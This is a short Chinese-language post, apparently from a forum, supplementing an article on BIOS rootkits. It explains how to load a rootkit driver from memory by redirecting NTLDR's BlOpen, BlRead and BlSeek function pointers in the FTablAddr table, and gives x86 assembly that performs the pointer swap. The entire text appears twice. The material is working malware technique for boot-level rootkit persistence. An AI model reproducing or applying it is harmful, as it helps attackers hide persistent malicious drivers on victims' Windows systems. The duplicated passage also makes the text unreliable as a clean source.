BIOS Rootkit:Welcome home,my Lord!的文章,觉得如何运行一个driver说的很模糊,好像还有点复杂,本人就补充一下这点:
可以直接调用NTLDR的BlLoadDeviceDriver函数,但问题在于该函数是从硬盘上加载driver,但现在rootkit的driver位于内存中,就必须重载NTLDR中访问硬盘的相关函数,它们是:
BlOpen,BlRead,BlSeek函数,在NTLDR中通过一个静态变量FTablAddr来存放这些函数的指针,只要将这些函数指针先指向我们的内存文件访问函数,就能实现内存加载driver.
对各个版本的操作系统,可以用IDA之类找到FTablAddr的地址,然后修改之中的相关指针下面是一段代码:
;saving funAddr:
mov eax,FTablAddr
mov ebx,[eax]
push dword ptr [ebx+8] ;openFun
push dword ptr [ebx+12] ;readFun
push dword ptr [ebx+20] ;seekFun
mov eax,MyOpen
call cntFunAddr
mov dword ptr [ebx+8],eax
mov eax,MyRead
call cntFunAddr
mov dword ptr [ebx+12],eax
mov eax,MySeek
call cntFunAddr
mov dword ptr [ebx+20],eax
可以直接调用NTLDR的BlLoadDeviceDriver函数,但问题在于该函数是从硬盘上加载driver,但现在rootkit的driver位于内存中,就必须重载NTLDR中访问硬盘的相关函数,它们是:
BlOpen,BlRead,BlSeek函数,在NTLDR中通过一个静态变量FTablAddr来存放这些函数的指针,只要将这些函数指针先指向我们的内存文件访问函数,就能实现内存加载driver.
对各个版本的操作系统,可以用IDA之类找到FTablAddr的地址,然后修改之中的相关指针下面是一段代码:
;saving funAddr:
mov eax,FTablAddr
mov ebx,[eax]
push dword ptr [ebx+8] ;openFun
push dword ptr [ebx+12] ;readFun
push dword ptr [ebx+20] ;seekFun
mov eax,MyOpen
call cntFunAddr
mov dword ptr [ebx+8],eax
mov eax,MyRead
call cntFunAddr
mov dword ptr [ebx+12],eax
mov eax,MySeek
call cntFunAddr
mov dword ptr [ebx+20],eax